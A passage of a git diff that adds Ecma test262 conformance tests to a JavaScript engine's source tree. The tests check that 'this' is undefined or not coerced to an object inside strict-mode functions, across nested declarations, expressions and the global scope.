+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-26gs.js
+ * @description Strict - checking 'this' from a global scope (New'ed object from Anonymous FunctionExpression includes strict directive prologue)
+ * @onlyStrict
+ */
+
+var obj = new (function () {
+ "use strict";
+ return this;
+});
+if ((obj === fnGlobalObject()) || (typeof obj === "undefined")) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-27-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-27-s.js
new file mode 100644
index 000000000..54eda820f
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-27-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-27-s.js
+ * @description Strict Mode - checking 'this' (FunctionDeclaration defined within a FunctionDeclaration inside strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+function f1() {
+ function f() {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-27gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-27gs.js
new file mode 100644
index 000000000..0cb1cb4f2
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-27gs.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-27gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionDeclaration defined within a FunctionDeclaration inside strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+function f1() {
+ function f() {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-28-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-28-s.js
new file mode 100644
index 000000000..c2a5578a8
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-28-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-28-s.js
+ * @description Strict Mode - checking 'this' (FunctionExpression defined within a FunctionDeclaration inside strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+function f1() {
+ var f = function () {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-28gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-28gs.js
new file mode 100644
index 000000000..663a18e00
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-28gs.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-28gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionExpression defined within a FunctionDeclaration inside strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+function f1() {
+ var f = function () {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-29-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-29-s.js
new file mode 100644
index 000000000..87ea431d7
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-29-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-29-s.js
+ * @description Strict Mode - checking 'this' (Anonymous FunctionExpression defined within a FunctionDeclaration inside strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+function f1() {
+ return ((function () {
+ return typeof this;
+ })()==="undefined") && ((typeof this)==="undefined");
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-29gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-29gs.js
new file mode 100644
index 000000000..416f1b4f3
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-29gs.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-29gs.js
+ * @description Strict - checking 'this' from a global scope (Anonymous FunctionExpression defined within a FunctionDeclaration inside strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+function f1() {
+ return ((function () {
+ return typeof this;
+ })()==="undefined") && ((typeof this)==="undefined");
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-3-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-3-s.js
new file mode 100644
index 000000000..19bafdcff
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-3-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-3-s.js
+ * @description this is not coerced to an object in strict mode (undefined)
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ 'use strict';
+ return typeof(this);
+ }
+
+ function bar()
+ {
+ return typeof(this);
+ }
+ return foo.call(undefined) === 'undefined' && bar.call() === 'object';
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-30-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-30-s.js
new file mode 100644
index 000000000..b4085931b
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-30-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-30-s.js
+ * @description Strict Mode - checking 'this' (FunctionDeclaration defined within a FunctionExpression inside strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+var f1 = function () {
+ function f() {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-30gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-30gs.js
new file mode 100644
index 000000000..ab3c6222d
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-30gs.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-30gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionDeclaration defined within a FunctionExpression inside strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+var f1 = function () {
+ function f() {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-31-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-31-s.js
new file mode 100644
index 000000000..dc32ca19e
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-31-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-31-s.js
+ * @description Strict Mode - checking 'this' (FunctionExpression defined within a FunctionExpression inside strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+var f1 = function () {
+ var f = function () {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-31gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-31gs.js
new file mode 100644
index 000000000..1bbb2d161
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-31gs.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-31gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionExpression defined within a FunctionExpression inside strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+var f1 = function () {
+ var f = function () {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-32-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-32-s.js
new file mode 100644
index 000000000..4ba988920
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-32-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-32-s.js
+ * @description Strict Mode - checking 'this' (Anonymous FunctionExpression defined within a FunctionExpression inside strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+var f1 = function () {
+ return ((function () {
+ return typeof this;
+ })()==="undefined") && ((typeof this)==="undefined");
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-32gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-32gs.js
new file mode 100644
index 000000000..1cd2ad05a
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-32gs.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-32gs.js
+ * @description Strict - checking 'this' from a global scope (Anonymous FunctionExpression defined within a FunctionExpression inside strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+var f1 = function () {
+ return ((function () {
+ return typeof this;
+ })()==="undefined") && ((typeof this)==="undefined");
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-33-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-33-s.js
new file mode 100644
index 000000000..6c4d66e2e
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-33-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-33-s.js
+ * @description Strict Mode - checking 'this' (FunctionDeclaration defined within an Anonymous FunctionExpression inside strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+return (function () {
+ function f() {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-33gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-33gs.js
new file mode 100644
index 000000000..c288566cb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-33gs.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-33gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionDeclaration defined within an Anonymous FunctionExpression inside strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+if (! ((function () {
+ function f() {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+})())) {
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-34-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-34-s.js
new file mode 100644
index 000000000..9cf25b53d
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-34-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-34-s.js
+ * @description Strict Mode - checking 'this' (FunctionExpression defined within an Anonymous FunctionExpression inside strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+return (function () {
+ var f = function () {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-34gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-34gs.js
new file mode 100644
index 000000000..72980aa41
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-34gs.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-34gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionExpression defined within an Anonymous FunctionExpression inside strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+if (! ((function () {
+ var f = function () {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+})())) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-35-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-35-s.js
new file mode 100644
index 000000000..8f7abb36f
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-35-s.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-35-s.js
+ * @description Strict Mode - checking 'this' (Anonymous FunctionExpression defined within an Anonymous FunctionExpression inside strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+return (function () {
+ return ((function () {
+ return typeof this;
+ })()==="undefined") && ((typeof this)==="undefined");
+})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-35gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-35gs.js
new file mode 100644
index 000000000..ecee18fe3
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-35gs.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-35gs.js
+ * @description Strict - checking 'this' from a global scope (Anonymous FunctionExpression defined within an Anonymous FunctionExpression inside strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+if (! ((function () {
+ return ((function () {
+ return typeof this;
+ })()==="undefined") && ((typeof this)==="undefined");
+})())) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-36-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-36-s.js
new file mode 100644
index 000000000..08bea7cc4
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-36-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-36-s.js
+ * @description Strict Mode - checking 'this' (FunctionDeclaration defined within a FunctionDeclaration with a strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+function f1() {
+ "use strict";
+ function f() {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-36gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-36gs.js
new file mode 100644
index 000000000..88fab9f20
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-36gs.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-36gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionDeclaration defined within a FunctionDeclaration with a strict directive prologue)
+ * @onlyStrict
+ */
+
+function f1() {
+ "use strict";
+ function f() {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-37-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-37-s.js
new file mode 100644
index 000000000..93e7fde28
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-37-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-37-s.js
+ * @description Strict Mode - checking 'this' (FunctionExpression defined within a FunctionDeclaration with a strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+function f1() {
+ "use strict";
+ var f = function () {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-37gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-37gs.js
new file mode 100644
index 000000000..795b6032d
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-37gs.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-37gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionExpression defined within a FunctionDeclaration with a strict directive prologue)
+ * @onlyStrict
+ */
+
+function f1() {
+ "use strict";
+ var f = function () {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-38-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-38-s.js
new file mode 100644
index 000000000..f496d4ed0
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-38-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-38-s.js
+ * @description Strict Mode - checking 'this' (Anonymous FunctionExpression defined within a FunctionDeclaration with a strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+function f1() {
+ "use strict";
+ return ((function () {
+ return typeof this;
+ })()==="undefined") && ((typeof this)==="undefined");
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-38gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-38gs.js
new file mode 100644
index 000000000..1c00b742e
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-38gs.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-38gs.js
+ * @description Strict - checking 'this' from a global scope (Anonymous FunctionExpression defined within a FunctionDeclaration with a strict directive prologue)
+ * @onlyStrict
+ */
+
+function f1() {
+ "use strict";
+ return ((function () {
+ return typeof this;
+ })()==="undefined") && ((typeof this)==="undefined");
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-39-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-39-s.js
new file mode 100644
index 000000000..22478bc26
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-39-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-39-s.js
+ * @description Strict Mode - checking 'this' (FunctionDeclaration defined within a FunctionExpression with a strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+var f1 = function () {
+ "use strict";
+ function f() {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-39gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-39gs.js
new file mode 100644
index 000000000..7ec3adf91
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-39gs.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-39gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionDeclaration defined within a FunctionExpression with a strict directive prologue)
+ * @onlyStrict
+ */
+
+var f1 = function () {
+ "use strict";
+ function f() {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-4-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-4-s.js
new file mode 100644
index 000000000..28bd8f059
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-4-s.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-4-s.js
+ * @description this is not coerced to an object in strict mode (boolean)
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ 'use strict';
+ return typeof(this);
+ }
+
+ function bar()
+ {
+ return typeof(this);
+ }
+
+
+ return foo.call(true) === 'boolean' && bar.call(true) === 'object';
+ }
+runTestCase(testcase);
